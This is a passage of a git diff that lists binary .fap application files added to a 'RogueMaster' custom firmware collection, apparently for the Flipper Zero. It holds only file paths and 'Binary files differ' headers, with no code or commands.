/dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap new file mode 100644 index 000000000..8f7c16636 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap new file mode 100644 index 000000000..cffe73eb3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap new file mode 100644 index 000000000..054337a15 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap new file mode 100644 index 000000000..28963ff16 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap new file mode 100644 index 000000000..df2c082f6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap new file mode 100644 index 000000000..74e5c9572 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap new file mode 100644 index 000000000..b383a2204 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap new file mode 100644 index 000000000..f3a9f2090 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap new file mode 100644 index 000000000..dcd128f53 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap new file mode 100644 index 000000000..069bfca4a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap new file mode 100644 index 000000000..3fc4f0fab Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap new file mode 100644 index 000000000..a35c0a2f5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap new file mode 100644 index 000000000..dbe345bff Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap new file mode 100644 index 000000000..4a01207d0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap new file mode 100644 index 000000000..87ec09564 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap new file mode 100644 index 000000000..46c7db846 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap new file mode 100644 index 000000000..ccec3734b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap new file mode 100644 index 000000000..682c3c9d9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap new file mode 100644 index 000000000..ba5dbebc8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap new file mode 100644 index 000000000..3f4c4dde2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap new file mode 100644 index 000000000..95ff33ae6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap new file mode 100644 index 000000000..deaae8edf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap new file mode 100644 index 000000000..649c6e2a4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap new file mode 100644 index 000000000..a4a301ec8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap new file mode 100644 index 000000000..a0d5e4d68 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap new file mode 100644 index 000000000..e170cffc6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap new file mode 100644 index 000000000..4ff704884 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap new file mode 100644 index 000000000..235d1f2e8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap new file mode 100644 index 000000000..d2826deeb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap new file mode 100644 index 000000000..b4add702d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap new file mode 100644 index 000000000..44606d226 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap new file mode 100644 index 000000000..481c40e50 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap new file mode 100644 index 000000000..3ca99a802 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap new file mode 100644 index 000000000..679e95286 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap new file mode 100644 index 000000000..2d0ba0ec8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap new file mode 100644 index 000000000..93f8c112a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap new file mode 100644 index 000000000..4f5a1f411 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap new file mode 100644 index 000000000..f052772a8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap new file mode 100644 index 000000000..5aa50c72d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap new file mode 100644 index 000000000..115834a86 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap new file mode 100644 index 000000000..f85dda046 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap new file mode 100644 index 000000000..740a996aa Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap new file mode 100644 index 000000000..08659e695 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap new file mode 100644 index 000000000..e79ee8b56 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap new file mode 100644 index 000000000..581f3c1c9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap new file mode 100644 index 000000000..89c59f8f3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap new file mode 100644 index 000000000..aafa861a5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap new file mode 100644 index 000000000..c133b357d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap new file mode 100644 index 000000000..0fc214ca5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap new file mode 100644 index 000000000..55b87d542 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap new file mode 100644 index 000000000..29dc1741a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap new file mode 100644 index 000000000..acbdf3061 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap new file mode 100644 index 000000000..ae6a35bd0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap new file mode 100644 index 000000000..de96f5ace Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap new file mode 100644 index 000000000..92dd303ee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap new file mode 100644 index 000000000..685d8329c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap new file mode 100644 index 000000000..c7dfafedb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap new file mode 100644 index 000000000..c1b7e0400 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap new file mode 100644 index 000000000..7c7210839 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap new file mode 100644 index 000000000..e82d066d0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap new file mode 100644 index 000000000..c0a26587e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap new file mode 100644 index 000000000..18c96cb0d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap new file mode 100644 index 000000000..14ef9b7e5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap new file mode 100644 index 000000000..d2dbe6b5a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap new file mode 100644 index 000000000..5271ce069 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap new file mode 100644 index 000000000..4b2ee8293 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap new file mode 100644 index 000000000..0d4c7632d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap new file mode 100644 index 000000000..3430d59bf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap new file mode 100644 index 000000000..9399482e8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap new file mode 100644 index 000000000..dcfe6371f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap new file mode 100644 index 000000000..e58b39986 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap new file mode 100644 index 000000000..bc5fcfe56 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap new file mode 100644 index 000000000..29cce8c4b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap new file mode 100644 index 000000000..28b0fe887 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap new file mode 100644 index 000000000..57b7d8d3e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap new file mode 100644 index 000000000..07aff8f30 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap new file mode 100644 index 000000000..7385bc3d9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap new file mode 100644 index 000000000..258f1e092 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap new file mode 100644 index 000000000..8affd98b8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap new file mode 100644 index 000000000..ba039c95c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap new file mode 100644 index 000000000..9bf058f04 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap new file mode 100644 index 000000000..77a26128f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap new file mode 100644 index 000000000..5facf1f61 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap new file mode 100644 index 000000000..60e57644b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap new file mode 100644 index 000000000..bc7871d49 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap new file mode 100644 index 000000000..79ade6a45 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap new file mode 100644 index 000000000..c2e217326 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap new file mode 100644 index 000000000..abce251dd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap new file mode 100644 index 000000000..8a7ef4911 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap new file mode 100644 index 000000000..ec7958ad4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap new file mode 100644 index 000000000..686ed9876 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap new file mode 100644 index 000000000..9602bfdba Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap differ